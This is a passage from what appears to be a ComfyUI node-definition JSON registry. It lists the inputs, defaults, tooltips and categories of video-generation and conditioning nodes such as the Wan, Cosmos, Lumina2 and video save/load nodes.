"search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CosmosImageToVideoLatent": {"input": {"required": {"vae": ["VAE", {}], "width": ["INT", {"default": 1280, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 704, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 121, "min": 1, "max": 16384, "step": 8}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"start_image": ["IMAGE", {}], "end_image": ["IMAGE", {}]}}, "input_order": {"required": ["vae", "width", "height", "length", "batch_size"], "optional": ["start_image", "end_image"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "CosmosImageToVideoLatent", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_cosmos", "category": "model/conditioning/cosmos", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CosmosPredict2ImageToVideoLatent": {"input": {"required": {"vae": ["VAE", {}], "width": ["INT", {"default": 848, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 93, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"start_image": ["IMAGE", {}], "end_image": ["IMAGE", {}]}}, "input_order": {"required": ["vae", "width", "height", "length", "batch_size"], "optional": ["start_image", "end_image"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "CosmosPredict2ImageToVideoLatent", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_cosmos", "category": "model/conditioning/cosmos", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SaveWEBM": {"input": {"required": {"images": ["IMAGE", {"tooltip": "RGBA images are saved with their alpha channel as transparency (vp9 codec only)."}], "filename_prefix": ["STRING", {"default": "ComfyUI", "multiline": false}], "codec": ["COMBO", {"multiselect": false, "options": ["vp9", "av1"]}], "fps": ["FLOAT", {"default": 24.0, "min": 0.01, "max": 1000.0, "step": 0.01}], "crf": ["FLOAT", {"tooltip": "Higher crf means lower quality with a smaller file size, lower crf means higher quality higher filesize.", "default": 32.0, "min": 0, "max": 63.0, "step": 1}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["images", "filename_prefix", "codec", "fps", "crf"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["images"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveWEBM", "display_name": "Save WEBM", "description": "", "python_module": "comfy_extras.nodes_video", "category": "video", "output_node": true, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export webm"], "essentials_category": null, "has_intermediate_output": false}, "SaveVideo": {"input": {"required": {"video": ["VIDEO", {"tooltip": "The video to save."}], "filename_prefix": ["STRING", {"tooltip": "The prefix for the file to save. This may include formatting information such as %date:yyyy-MM-dd% or %Empty Latent Image.width% to include values from nodes.", "default": "video/ComfyUI", "multiline": false}], "format": ["COMBO", {"tooltip": "The format to save the video as.", "default": "auto", "multiselect": false, "options": ["auto", "mp4"]}], "codec": ["COMBO", {"tooltip": "The codec to use for the video.", "default": "auto", "multiselect": false, "options": ["auto", "h264"]}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["video", "filename_prefix", "format", "codec"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["video"], "output_tooltips": [null], "output_matchtypes": null, "name": "SaveVideo", "display_name": "Save Video", "description": "Saves the input images to your ComfyUI output directory.", "python_module": "comfy_extras.nodes_video", "category": "video", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["export video"], "essentials_category": "Basics", "has_intermediate_output": false}, "CreateVideo": {"input": {"required": {"images": ["IMAGE", {"tooltip": "The images to create a video from."}], "fps": ["FLOAT", {"default": 30.0, "min": 1.0, "max": 120.0, "step": 1.0}]}, "optional": {"audio": ["AUDIO", {"tooltip": "The audio to add to the video."}], "bit_depth": ["INT", {"tooltip": "Bit depth of the created video. 10-bit keeps smoother gradients with less banding, but some players and downstream nodes may not support it.", "default": 8, "min": 8, "max": 10, "step": 2, "display": "number"}]}}, "input_order": {"required": ["images", "fps"], "optional": ["audio", "bit_depth"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "CreateVideo", "display_name": "Create Video", "description": "Create a video from images.", "python_module": "comfy_extras.nodes_video", "category": "video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["images to video"], "essentials_category": "Video Tools", "has_intermediate_output": false}, "GetVideoComponents": {"input": {"required": {"video": ["VIDEO", {"tooltip": "The video to extract components from."}]}}, "input_order": {"required": ["video"]}, "is_input_list": false, "output": ["IMAGE", "AUDIO", "FLOAT", "INT"], "output_is_list": [false, false, false, false], "output_name": ["images", "audio", "fps", "bit_depth"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "GetVideoComponents", "display_name": "Get Video Components", "description": "Extracts all components from a video: frames, audio, framerate, and bit depth.", "python_module": "comfy_extras.nodes_video", "category": "video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["extract frames", "split video", "video to images", "demux"], "essentials_category": null, "has_intermediate_output": false}, "LoadVideo": {"input": {"required": {"file": ["COMBO", {"multiselect": false, "options": [], "video_upload": true}]}}, "input_order": {"required": ["file"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "LoadVideo", "display_name": "Load Video", "description": "", "python_module": "comfy_extras.nodes_video", "category": "video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["import video", "open video", "video file"], "essentials_category": "Basics", "has_intermediate_output": false}, "Video Slice": {"input": {"required": {"video": ["VIDEO", {}], "start_time": ["FLOAT", {"tooltip": "Start time in seconds", "default": 0.0, "min": -100000.0, "max": 100000.0, "step": 0.001}], "duration": ["FLOAT", {"tooltip": "Duration in seconds, or 0 for unlimited duration", "default": 0.0, "min": 0.0, "step": 0.001}], "strict_duration": ["BOOLEAN", {"tooltip": "If True, when the specified duration is not possible, an error will be raised.", "default": false}]}}, "input_order": {"required": ["video", "start_time", "duration", "strict_duration"]}, "is_input_list": false, "output": ["VIDEO"], "output_is_list": [false], "output_name": ["VIDEO"], "output_tooltips": [null], "output_matchtypes": null, "name": "Video Slice", "display_name": "Trim Video", "description": "", "python_module": "comfy_extras.nodes_video", "category": "video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["trim video duration", "skip first frames", "frame load cap", "start time"], "essentials_category": "Video Tools", "has_intermediate_output": false}, "CLIPTextEncodeLumina2": {"input": {"required": {"system_prompt": ["COMBO", {"tooltip": "Lumina2 provide two types of system prompts:Superior: You are an assistant designed to generate superior images with the superior degree of image-text alignment based on textual prompts or user prompts. Alignment: You are an assistant designed to generate high-quality images with the highest degree of image-text alignment based on textual prompts.", "multiselect": false, "options": ["superior", "alignment"]}], "user_prompt": ["STRING", {"tooltip": "The text to be encoded.", "multiline": true, "dynamicPrompts": true}], "clip": ["CLIP", {"tooltip": "The CLIP model used for encoding the text."}]}}, "input_order": {"required": ["system_prompt", "user_prompt", "clip"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": ["A conditioning containing the embedded text used to guide the diffusion model."], "output_matchtypes": null, "name": "CLIPTextEncodeLumina2", "display_name": "CLIP Text Encode (Lumina 2)", "description": "Encodes a system prompt and a user prompt using a CLIP model into an embedding that can be used to guide the diffusion model towards generating specific images.", "python_module": "comfy_extras.nodes_lumina2", "category": "model/conditioning/lumina", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["lumina prompt"], "essentials_category": null, "has_intermediate_output": false}, "RenormCFG": {"input": {"required": {"model": ["MODEL", {}], "cfg_trunc": ["FLOAT", {"advanced": true, "default": 100, "min": 0.0, "max": 100.0, "step": 0.01}], "renorm_cfg": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "cfg_trunc", "renorm_cfg"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "RenormCFG", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lumina2", "category": "model/patch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanTrackToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "tracks": ["STRING", {"default": "[]", "multiline": true}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "temperature": ["FLOAT", {"advanced": true, "default": 220.0, "min": 1.0, "max": 1000.0, "step": 0.1}], "topk": ["INT", {"advanced": true, "default": 2, "min": 1, "max": 10}], "start_image": ["IMAGE", {}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "tracks", "width", "height", "length", "batch_size", "temperature", "topk", "start_image"], "optional": ["clip_vision_output"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanTrackToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/move", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["motion tracking", "trajectory video", "point tracking", "keypoint animation"], "essentials_category": null, "has_intermediate_output": false}, "WanImageToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}], "start_image": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["clip_vision_output", "start_image"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanFunControlToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}], "start_image": ["IMAGE", {}], "control_video": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["clip_vision_output", "start_image", "control_video"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanFunControlToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/fun control", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Wan22FunControlToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"ref_image": ["IMAGE", {}], "control_video": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["ref_image", "control_video"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "Wan22FunControlToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/fun control", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanFunInpaintToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}], "start_image": ["IMAGE", {}], "end_image": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["clip_vision_output", "start_image", "end_image"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanFunInpaintToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/fun inpaint", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanFirstLastFrameToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"clip_vision_start_image": ["CLIP_VISION_OUTPUT", {}], "clip_vision_end_image": ["CLIP_VISION_OUTPUT", {}], "start_image": ["IMAGE", {}], "end_image": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["clip_vision_start_image", "clip_vision_end_image", "start_image", "end_image"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanFirstLastFrameToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanVaceToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1000.0, "step": 0.01}]}, "optional": {"control_video": ["IMAGE", {}], "control_masks": ["MASK", {}], "reference_image": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size", "strength"], "optional": ["control_video", "control_masks", "reference_image"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT", "INT"], "output_is_list": [false, false, false, false], "output_name": ["positive", "negative", "latent", "trim_latent"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "WanVaceToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/vace", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["video conditioning", "video control"], "essentials_category": null, "has_intermediate_output": false}, "TrimVideoLatent": {"input": {"required": {"samples": ["LATENT", {}], "trim_amount": ["INT", {"default": 0, "min": 0, "max": 99999}]}}, "input_order": {"required": ["samples", "trim_amount"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "TrimVideoLatent", "display_name": "Trim Video Latent", "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanCameraImageToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}], "start_image": ["IMAGE", {}], "camera_conditions": ["WAN_CAMERA_EMBEDDING", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["clip_vision_output", "start_image", "camera_conditions"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanCameraImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/camera", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanPhantomSubjectToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"images": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["images"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false, false], "output_name": ["positive", "negative_text", "negative_img_text", "latent"], "output_tooltips": [null, null, null, null], "output_matchtypes": null, "name": "WanPhantomSubjectToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/phantom subject", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanSoundImageToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 77, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"audio_encoder_output": ["AUDIO_ENCODER_OUTPUT", {}], "ref_image": ["IMAGE", {}], "control_video": ["IMAGE", {}], "ref_motion": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["audio_encoder_output", "ref_image", "control_video", "ref_motion"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanSoundImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/sound", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanSoundImageToVideoExtend": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "length": ["INT", {"default": 77, "min": 1, "max": 16384, "step": 4}], "video_latent": ["LATENT", {}]}, "optional": {"audio_encoder_output": ["AUDIO_ENCODER_OUTPUT", {}], "ref_image": ["IMAGE", {}], "control_video": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "length", "video_latent"], "optional": ["audio_encoder_output", "ref_image", "control_video"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanSoundImageToVideoExtend", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/sound", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanHuMoImageToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 97, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"audio_encoder_output": ["AUDIO_ENCODER_OUTPUT", {}], "ref_image": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": ["audio_encoder_output", "ref_image"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "WanHuMoImageToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/humo", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanAnimateToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 77, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "continue_motion_max_frames": ["INT", {"default": 5, "min": 1, "max": 16384, "step": 4}], "video_frame_offset": ["INT", {"tooltip": "The amount of frames to seek in all the input videos. Used for generating longer videos by chunk. Connect to the video_frame_offset output of the previous node for extending a video.", "default": 0, "min": 0, "max": 16384, "step": 1}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}], "reference_image": ["IMAGE", {}], "face_video": ["IMAGE", {}], "pose_video": ["IMAGE", {}], "background_video": ["IMAGE", {}], "character_mask": ["MASK", {}], "continue_motion": ["IMAGE", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size", "continue_motion_max_frames", "video_frame_offset"], "optional": ["clip_vision_output", "reference_image", "face_video", "pose_video", "background_video", "character_mask", "continue_motion"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT", "INT", "INT", "INT"], "output_is_list": [false, false, false, false, false, false], "output_name": ["positive", "negative", "latent", "trim_latent", "trim_image", "video_frame_offset"], "output_tooltips": [null, null, null, null, null, null], "output_matchtypes": null, "name": "WanAnimateToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/animate", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Wan22ImageToVideoLatent": {"input": {"required": {"vae": ["VAE", {}], "width": ["INT", {"default": 1280, "min": 32, "max": 16384, "step": 32}], "height": ["INT", {"default": 704, "min": 32, "max": 16384, "step": 32}], "length": ["INT", {"default": 49, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"start_image": ["IMAGE", {}]}}, "input_order": {"required": ["vae", "width", "height", "length", "batch_size"], "optional": ["start_image"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "Wan22ImageToVideoLatent", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanInfiniteTalkToVideo": {"input": {"required": {"mode": ["COMFY_DYNAMICCOMBO_V3", {"options": [{"key": "single_speaker", "inputs": {"required": {}}}, {"key": "two_speakers", "inputs": {"required": {}, "optional": {"audio_encoder_output_2": ["AUDIO_ENCODER_OUTPUT", {}], "mask_1": ["MASK", {"tooltip": "Mask for the first speaker, required if using two audio inputs."}], "mask_2": ["MASK", {"tooltip": "Mask for the second speaker, required if using two audio inputs."}]}}}]}], "model": ["MODEL", {}], "model_patch": ["MODEL_PATCH", {}], "positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "audio_encoder_output_1": ["AUDIO_ENCODER_OUTPUT", {}], "motion_frame_count": ["INT", {"tooltip": "Number of previous frames to use as motion context.", "advanced": true, "default": 9, "min": 1, "max": 33, "step": 1}], "audio_scale": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}], "start_image": ["IMAGE", {}], "previous_frames": ["IMAGE", {}]}}, "input_order": {"required": ["mode", "model", "model_patch", "positive", "negative", "vae", "width", "height", "length", "audio_encoder_output_1", "motion_frame_count", "audio_scale"], "optional": ["clip_vision_output", "start_image", "previous_frames"]}, "is_input_list": false, "output": ["MODEL", "CONDITIONING", "CONDITIONING", "LATENT", "INT"], "output_is_list": [false, false, false, false, false], "output_name": ["model", "positive", "negative", "latent", "trim_image"], "output_tooltips": [null, null, null, null, null], "output_matchtypes": null, "name": "WanInfiniteTalkToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wan", "category": "model/conditioning/wan/infinite talk", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BerniniConditioning": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 832, "min": 16, "max": 8192, "step": 16}], "height": ["INT", {"default": 480, "min": 16, "max": 8192, "step": 16}], "length": ["INT", {"default": 81, "min": 1, "max": 8192, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}]}, "optional": {"source_video": ["IMAGE", {"tooltip": "Source video to edit or restyle (v2v, rv2v). Resized to width/height and trimmed to length."}], "reference_video": ["IMAGE", {"tooltip": "Video to insert into the source video (ads2v)."}], "reference_images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"reference_image": ["IMAGE", {"tooltip": "Reference image injected as an in-context token (r2v, rv2v)."}]}}, "prefix": "reference_image_", "min": 0, "max": 8}}], "ref_max_size": ["INT", {"tooltip": "Max size for the long edge of reference_video and reference_images. Resized with preserved aspect ratio and snapped to 16px.", "default": 848, "min": 16, "max": 8192, "step": 16}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size"], "optional": 